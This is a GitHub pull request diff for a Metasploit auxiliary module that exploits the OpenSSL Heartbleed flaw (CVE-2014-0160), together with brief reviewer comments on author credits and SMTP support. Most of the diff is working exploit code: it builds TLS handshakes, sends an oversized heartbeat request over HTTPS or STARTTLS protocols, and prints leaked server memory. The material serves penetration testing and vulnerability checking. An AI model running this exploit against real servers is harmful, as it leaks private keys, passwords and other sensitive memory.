Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Complete @Firefart's OpenSSL Heartbleed attack #3206

Merged
merged 16 commits into from Apr 9, 2014
@@ -67,7 +67,18 @@ class Metasploit3 < Msf::Auxiliary

HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18
TLS_VERSION = 0x0302 # TLS 1.1
TLS_VERSION = {
'1.0' => 0x0301,
'1.1' => 0x0302,
'1.2' => 0x0303
}

TTLS_CALLBACKS = {
'SMTP' => :tls_smtp,
'IMAP' => :tls_imap,
'JABBER' => :tls_jabber,
'POP3' => :tls_pop3
}

def initialize
super(
@@ -78,27 +89,34 @@ def initialize
memory data in the response.
},
'Author' => [

This comment has been minimized.

Copy link
@Meatballs1

Meatballs1 Apr 8, 2014

Contributor

Neel Mehta #Google Security
Riku, Antti and Matti #Codenomicon

This comment has been minimized.

Copy link
@jvazquez-r7

jvazquez-r7 Apr 8, 2014

Author Contributor

Thanks @Meatballs1 , adding!

'Jared Stafford <jspenguin[at]jspenguin.org', # Original Proof of Concept. This module is based on it.
'Neel Mehta', # Vulnerability discovery
'Riku', # Vulnerability discovery
'Antti', # Vulnerability discovery
'Matti', # Vulnerability discovery
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
'FiloSottile', # PoC site and tool
'Christian Mehlmauer <FireFart[at]gmail.com', # Msf module
'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module
'juan vazquez', #Msf module
'wvu' # Msf module
],
'References' =>
[
'CVE', '2014-0160',
'URL', 'http://heartbleed.com/',
'URL', 'https://github.com/FiloSottile/Heartbleed',
'URL', 'https://gist.github.com/takeshixx/10107280',
'URL', 'http://filippo.io/Heartbleed/'
['CVE', '2014-0160'],
['US-CERT-VU', '720951'],
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
['URL', 'http://heartbleed.com/'],
['URL', 'https://github.com/FiloSottile/Heartbleed'],
['URL', 'https://gist.github.com/takeshixx/10107280'],
['URL', 'http://filippo.io/Heartbleed/']
],
'License' => MSF_LICENSE,
)

register_options(
[
Opt::RPORT(443),

This comment has been minimized.

Copy link
@Meatballs1

Meatballs1 Apr 8, 2014

Contributor

Would this module work against other SSL services, SMTP etc? The default port can stay the same even so, but maybe a note in description if so?

This comment has been minimized.

Copy link
@FireFart
OptEnum.new('PROTOCOL', [true, 'Protocol to use with SSL', 'WEB', [ 'WEB', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]])
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']])
], self.class)
end

@@ -109,9 +127,10 @@ def peer
def tls_smtp
# https://tools.ietf.org/html/rfc3207
sock.get_once
sock.put("EHLO #{rand_text_alpha(10)}\n")
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
res = sock.get_once
unless res and res =~ /STARTTLS/i

unless res && res =~ /STARTTLS/
return nil
end
sock.put("STARTTLS\n")
@@ -123,7 +142,7 @@ def tls_imap
sock.get_once
sock.put("a001 CAPABILITY\r\n")
res = sock.get_once
unless res and res =~ /STARTTLS/i
unless res && res =~ /STARTTLS/i
return nil
end
sock.put("a002 STARTTLS\r\n")
@@ -135,12 +154,12 @@ def tls_pop3
sock.get_once
sock.put("CAPA\r\n")
res = sock.get_once
if !res or res =~ /^-/
if res.nil? || res =~ /^-/
return nil
end
sock.put("STLS\r\n")
res = sock.get_once
if !res or res =~ /^-/
if res.nil? || res =~ /^-/
return nil
end
end
@@ -155,7 +174,7 @@ def tls_jabber
sock.put(msg)
res = sock.get_once
return nil if res.nil? # SSL not supported
return nil if res =~ /stream:error/ or res !~ /starttls/i
return nil if res =~ /stream:error/ || res !~ /starttls/i
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
sock.get_once
@@ -164,56 +183,30 @@ def tls_jabber
def run_host(ip)
connect

case datastore['PROTOCOL']
when "WEB"
# no STARTTLS needed
when "SMTP"
print_status("Trying to start SSL via SMTP")
res = tls_smtp
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "IMAP"
print_status("Trying to start SSL via IMAP")
res = tls_imap
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "JABBER"
print_status("Trying to start SSL via JABBER")
res = tls_jabber
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
when "POP3"
print_status("Trying to start SSL via POP3")
res = tls_pop3
if res.nil?
print_error("#{peer} - STARTTLS failed...")
return
end
else
print_error("Unknown protocol #{datastore['PROTOCOL']}")
unless datastore['STARTTLS'] == 'None'
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
if res.nil?
vprint_error("#{peer} - STARTTLS failed...")
return
end
end

print_status("#{peer} - Sending Client Hello...")
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)

server_hello = sock.get
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
print_error("#{peer} - Server Hello Not Found")
vprint_error("#{peer} - Server Hello Not Found")
return
end

print_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat)
vprint_status("#{peer} - Sending Heartbeat...")
heartbeat_length = 16384
sock.put(heartbeat(heartbeat_length))
hdr = sock.get_once(5)
if hdr.blank?
print_error("#{peer} - No Heartbeat response...")
vprint_error("#{peer} - No Heartbeat response...")
return
end

@@ -222,64 +215,63 @@ def run_host(ip)
version = unpacked[1] # must match the type from client_hello
len = unpacked[2]

unless type == HEARTBEAT_RECORD_TYPE and version == TLS_VERSION
print_error("#{peer} - Unexpected Heartbeat response'")
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
vprint_error("#{peer} - Unexpected Heartbeat response'")
disconnect
return
end

print_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(16384) # Read the magic length...
if heartbeat_data and heartbeat_data.length > len
print_status("#{peer} - Heartbeat response with leak...")
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
if heartbeat_data && heartbeat_data.length > len
print_good("#{peer} - Heartbeat response with leak")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} successfully leaked info"
})
print_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
else
print_error("#{peer} - Looks like there isn't leaked information...")
vprint_error("#{peer} - Looks like there isn't leaked information...")
end
end

def heartbeat
def heartbeat(length)
payload = "\x01" # Heartbeat Message Type: Request (1)
payload << "\x40\x00" # Payload Length: 16384
payload << [length].pack("n")

ssl_record(HEARTBEAT_RECORD_TYPE, payload)
end

def client_hello
data = "\x01" # Handshake Type: Client Hello (1)
data << "\x00\x00\xd8" # Length: 216
data << "\x03\x02" # Version TLS 1.1
data << Rex::Text.rand_text(32) # Random
data << "\x00" # Session ID length
data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
data << CIPHER_SUITES.pack("n*") # Cipher Suites
data << "\x01" # Compression methods length (1)
data << "\x00" # Compression methods: null
data << "\x00\x49" # Extensions length (73)
data << "\x00\x0b" # Extension type (ec_point_formats)
data << "\x00\x04" # Extension length
data << "\x03\x00\x01\x02" # Extension data
data << "\x00\x0a" # Extension type (elliptic curves)
data << "\x00\x34" # Extension length
data << "\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11" # Extension data
data << "\x00\x23" # Extension type (Sessionticket TLS)
data << "\x00\x00" # Extension length
data << "\x00\x0f" # Extension type (Heartbeat)
data << "\x00\x01" # Extension length
data << "\x01" # Extension data
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
hello_data << "\x53\x43\x5b\x90" # Random generation Time (Apr 8, 2014 04:14:40.000000000)
hello_data << Rex::Text.rand_text(28) # Random
hello_data << "\x00" # Session ID length
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
hello_data << "\x01" # Compression methods length (1)
hello_data << "\x00" # Compression methods: null

hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
hello_data_extensions << "\x00\x01" # Extension length
hello_data_extensions << "\x01" # Extension data

hello_data << [hello_data_extensions.length].pack("n")
hello_data << hello_data_extensions

data = "\x01\x00" # Handshake Type: Client Hello (1)
data << [hello_data.length].pack("n") # Length
data << hello_data

ssl_record(HANDSHAKE_RECORD_TYPE, data)
end

def ssl_record(type, data)
record = [type, TLS_VERSION, data.length].pack('Cnn')
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
record << data
end
end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.